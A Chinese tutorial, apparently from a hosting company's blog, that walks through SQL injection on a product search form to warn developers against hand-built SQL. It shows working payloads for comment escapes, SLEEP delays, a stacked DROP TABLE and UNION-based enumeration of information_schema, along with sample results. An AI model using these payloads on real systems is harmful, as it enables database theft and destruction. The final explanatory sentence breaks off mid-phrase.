这篇文章主要介绍了sql注入基本原理是什么,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。
SQL注入基本原理
WEB技术发展日新月异,但是徒手拼SQL的传统手艺还是受相当多的开发者亲睐。毕竟相比于再去学习一套复杂的ORM规则,手拼更说方便,直观。通常自己拼SQL的人,应该是有听说过SQL注入很危险,但是总是心想:我的SQL语句这么简单,不可能被注入的。
花5分钟看完这个完整的例子,从今往后应该再也不敢有以上侥幸心理了。
简单场景
有一个WEB界面提供输入商品名称,展示对应价格,生产日期及生产地信息。例如输入Hammer展示:
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
我们跳过了搭建Web搜索界面的过程,直接关注重点部分: SQL注入。
如果要实现以上功能,那么我们大致可以猜到服务器使用的SQL语句如下:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
其中?表示目前我们并不知道具体的表名和字段名,此SQL唯一可以被操纵的就是单引号里面的输入内容'%Hammer%。假如我们直接在查找框里输入一个单引号。即变成
select ? from ? where ? Like '%'%';
这样拼接后造成SQL语法错误,得不到任何结果,我们需要使用--
来把最后一个单引号注释掉。
select ? from ? where ? Like '%'; -- %';
--
后的是注释内容(你也可以用#
),这样你可以得到所有的产品信息,目前为止,还是没有嗅到危险的信号。
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Paring Knife | 10.98 | China | 2019.11.11 |
Boning Knife | 19.98 | China | 2019.01.01 |
小试牛刀and
紧紧抓住上一步中可以扩展的单引号部分。来一个简单的延时语句试一试:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
这时查询会2秒后才返回结果,如果把时间延长,用脚本多点几次查询,一下就能把数据库的连接池用完。
当然,还有破坏力更强的!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
可以直接把表/数据库直接删除掉,至于如何知道引数据库中有哪一些表(即如何确定上句SQL中的xxxx)呢?
为所欲为union
我们需要知道此数据库有哪一些表!这样才能能拿到有用的信息。
使用union可以把不同表的内容拼在一起,小试一下:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
感谢你能够认真阅读完这篇文章,希望小编分享的“sql注入基本原理是什么”这篇文章对大家有帮助,同时也希望大家多多支持亿速云,关注亿速云行业资讯频道,更多相关知识等着你来学习!